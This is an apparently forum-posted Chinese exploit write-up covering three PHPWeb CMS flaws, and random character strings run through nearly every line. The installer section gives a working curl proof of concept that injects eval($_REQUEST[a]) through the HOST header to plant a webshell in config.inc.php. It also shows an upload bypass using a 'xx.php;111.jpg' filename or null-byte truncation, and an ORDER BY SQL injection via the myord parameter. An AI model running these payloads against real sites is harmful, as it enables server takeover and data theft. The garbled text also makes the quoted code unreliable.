注入:2 f- l! ?6 c4 {2 K
) ^6 m- q9 x1 ~% K# Q/ J
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码0 i) ~( ^# z; F$ Q
3 f/ s9 o8 x4 X鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) T$ I! L. n$ I d( E鸡肋2: 有一定安全常识的站长都会删掉 install 目录7 A" c5 B/ q& k$ ?: ~+ P4 Z- A
. }. \0 B4 p2 I, W3 Q9 D! i
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ h' ?' v/ X$ P7 C1 d4 U1 L* Z$ F- w 5 D7 i; F8 b3 E7 Q; {5 c" v
分析:5 Z9 \/ r) L- F% P9 B# E4 g8 J: N; X
* m) I& f/ l H) I* I
& \8 K5 w* t; _. o) n. d2 ?$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤0 ?9 Z6 V! b7 k9 S( J$ I$ y8 Y7 i G
; D$ y- f+ o3 A; X
$filestr = fread(fopen($SysConfigFile, 'r'),30000); S5 R2 |6 C, N, K
$filestr=str_replace(" ","",$filestr);0 T. f; \( y- r5 t5 @' P! z
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);$ Q9 y' q, m E: ], O8 `
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
7 A2 t3 O- ^& ~- T $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
O" R2 v4 ?* T $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
0 r/ F; B& P. L- l& K $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 V" ^4 ~7 {. h( g# f. U4 { $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);7 M4 l# [0 B/ r6 ~( d, X: p
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 c/ e# \. G1 I9 @/ X
+ {! g. p' @; K fwrite(fopen($ConFile,"w"),$filestr,30000);3 t3 \4 k" ?9 V( ?
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^9 D0 f! G, [4 C# h1 y K# ]! ]& L9 V
7 p3 k8 Y5 g' a' |8 {
poc:
- B8 ~8 W4 h2 W3 K0 l
+ c% }3 h; T+ L: @?
) b+ ?2 G6 Q! X: p9 |/ M18 Z8 u/ {0 r# b1 h0 D' n
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# s/ w& `" \* K& `; \. ?
shell地址: /config.inc.php& Q5 ~2 P7 y/ }
跟之前的 phpcms一样 需要远程数据库
! {! S. z0 `4 Z, w- @ 6 |; n. [5 D* w* H4 U6 i2 }
——————————————————–
( U! \: Z1 M- P4 B4 b. H% ^上传漏洞(需要进后台):9 B" {5 a' q0 o3 \
漏洞文件: /kedit/upload_cgi/upload.php' X& m( @! k% o, x: x
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
2 x( I; G& L5 V- o ' Q& r) R6 x: ^+ O7 g$ e
8 h4 z L3 s3 F<?php! x9 c7 R$ W: y$ o! o. P
define("ROOTPATH", "../../");
9 y/ ~+ D! h" f7 j5 B6 \% @" P include(ROOTPATH."includes/admin.inc.php");
: ?* g" S: x0 s. E/ l! \. ] NeedAuth(0);
8 w) l2 a# {1 a4 j- U3 H; V" T% {
+ ^1 @' y, q5 ^* n4 ` $dt=date("Ymd",time());
& Z B3 Y8 J0 c$ \ if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, f* `; G& P6 L. J3 j' k/ u8 ~ @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);5 e. n. ?# h. X) W3 r0 a: Z3 U- `
}
, y) V; I) ^8 W6 A' T! |
, F4 v; g l! ~1 ^( v5 L //文件保存目录路径3 z0 k G+ N; P# R% z( P
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';, l. w9 L; l8 b
echo $save_path;
7 E+ W$ I0 p% K) d: I //文件保存目录URL
% n! E# z" p( o) n2 r1 C ] $save_url = '../../'.$_POST['attachPath'].$dt.'/'; n: h0 W0 V! } g
, {; J& l2 V% G W. F2 X //定义允许上传的文件扩展名
; a& x/ I% A7 z A8 G+ k& ` $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
& }% F" F2 q* [, x4 O
' u2 f+ |6 v/ c% R, q //最大文件大小" S" a0 j) z1 @9 o( ?9 v
$max_size = 1000000;! i) m' D# y: a9 N- V
; X/ g9 ~! I Z9 ?6 G8 q7 N
//更改目录权限
: `" X! E* }7 I' p& { @mkdir($save_path, 0777);
6 `# O+ {: e/ x" i( | ; m4 I- g$ `0 ?) b# ]
//文件的全部路径
& | t" o" T# B- h ?) |# c9 d $file_path = $save_path.$_POST['fileName']; //保存文件名& o: u9 K$ f* e0 Q/ l3 J, {
/ c6 \5 X4 x. x1 \
//文件URL) ~, X- Q6 D3 s* C4 t$ D
$file_url = $save_url.$_POST['fileName'];: o2 F3 x+ V2 P( E8 L" b4 r
//有上传文件时
7 D7 P6 v+ M+ {) z8 ?' T if (empty($_FILES) === false) { ~6 N3 y @% q
7 m; r4 W$ E G9 ?1 m% w5 }
//原文件名- S( q: w& w+ o! v6 x- O! W o* |
$file_name = $_FILES['fileData']['name'];$ u: x; E" |! n- J- ~+ t7 ?8 ]+ ^
//服务器上临时文件名+ f) j& u) G& P7 d+ {
$tmp_name = $_FILES['fileData']['tmp_name'];7 q, O2 |$ h: I
//文件大小
* E6 X7 O& S6 O) v# ^" B $file_size = $_FILES['fileData']['size'];: s) |0 q M3 Y3 x8 ~$ G9 v
//检查目录' c) ]/ {. k5 J# I- b" X$ K/ C
if (@is_dir($save_path) === false) {8 V( S2 @+ N. l. [1 t8 T5 x' `
alert("上传目录不存在。");
# n7 E; a6 h# l8 z/ W }
1 S. [) w+ D1 T5 `& [* i3 Y. H //检查目录写权限" h% N6 a e: q+ V$ J( Y
if (@is_writable($save_path) === false) {
. d7 y# Q" I. p alert("上传目录没有写权限。");3 W2 |- }! z0 K; }
}
6 x5 P# d5 U! E- _ //检查是否已上传& J E; [/ o1 K
if (@is_uploaded_file($tmp_name) === false) {
9 M0 W2 r8 ?2 x$ ~1 g alert("临时文件可能不是上传文件。");$ e+ ~) D" }6 ]) |# m
} _7 c. {. X" Z
//检查文件大小& G7 E1 W; i% `2 | W$ t
if ($file_size > $max_size) {6 n& D+ q' A' D7 ^/ V: Q; J; s8 s
alert("上传文件大小超过限制。");
: r# T! T+ @- N8 P) l" j }0 a) j7 ?: C+ H8 }- _
//获得文件扩展名5 ? S6 `5 i, ^- w a5 d2 f
$temp_arr = explode(".", $_POST['fileName']); q$ w; x) K( S& S
$file_ext = array_pop($temp_arr);
* g+ ]+ {- ~. f0 B: A0 U2 [ $file_ext = trim($file_ext);
/ B3 r5 A4 @6 }6 J1 S9 X1 M $file_ext = strtolower($file_ext);
A; S7 f! z8 q
n% ?4 m& } {( U //检查扩展名
6 n- [# ?3 u1 u/ J5 P/ |) o x7 u if (in_array($file_ext, $ext_arr) === false) {
! f y9 v, n4 W0 X: g' { alert("上传文件扩展名是不允许的扩展名。");8 h( P1 ^ T% m3 A
}
& k& r/ w5 u+ W6 o% Y3 Q# H $ ^% w0 Z; B* {8 P" m; i" V
//移动文件 5 I/ }1 A6 h5 m/ E n. |1 M
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^5 Q" Q- g* b+ r
if (move_uploaded_file($tmp_name, $file_path) === false) {
. G3 V& v: z+ H" @6 b" b alert("上传文件失败。");
' R+ j7 V; u: u6 l' d }
( \' e" T7 g/ I6 K, l% O, g ! V1 e; N s0 G# C9 ?2 E
@chmod($file_path,0666);- W' }9 W j7 [
8 a$ {; ^2 w( B7 ?% _
?>9 r# I. l7 h' d% L
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227! }' L; m& g. g5 Z- p5 d$ w
$ j/ r! A' f" w1 N+ Q- o% r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. C! q% ]' A! n0 P3 t2 r4 ^9 U* Z
. N3 v: H. i8 Z Y. ^& o- M1 f' w——————————————————# r& U. r# I1 b0 ~9 F" g
注入漏洞:
g6 U1 n$ A9 d: G2 r& { t漏洞文件:search/module/search.php7 I# A" K) T5 M0 W" m2 N, P
/search/index.php?key=1&myord=1 [sqlinjection]; a, _9 m9 S7 C% L! Y) {! n9 K
1 ?4 X. b5 P6 z: ]
7 d5 |% \. \+ w# {) j<?php# ^3 P3 m1 B" Z
// ... 省略 n 行...% R$ t9 I# Y* Y1 P0 P [
//第18行:
7 ~5 b( f7 c5 ^2 q9 a5 y3 o6 V1 w $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
' \, v0 x" v9 c: Q1 U) P9 x $page=htmlspecialchars($_GET["page"]);9 Y! ?% G' f! I1 T3 K* \9 W
$myord=htmlspecialchars($_GET["myord"]);
/ H. R D6 O V4 O/ V 2 G. l0 |( q6 H
// ... 省略 n 行...
4 l" I4 [8 s) ^: m $key,$myord 两个参数带入查询
4 q" y5 i3 K$ @1 k' q2 h //第47行 $key:
: r4 m' Q) m0 }% B) G/ n8 F* A: `+ P
1 R1 R+ x# H* N $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 h" T1 I. S% w2 `& X' Z. x
) J0 w+ S0 J' K+ `* G) y //第197行 $myord+ g" I% v* t1 X
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. B6 T* J/ C* \& f: h' f4 p, `
/ m' O- Q: R: z/ | ?>; \. a0 u) \1 y" d" B
|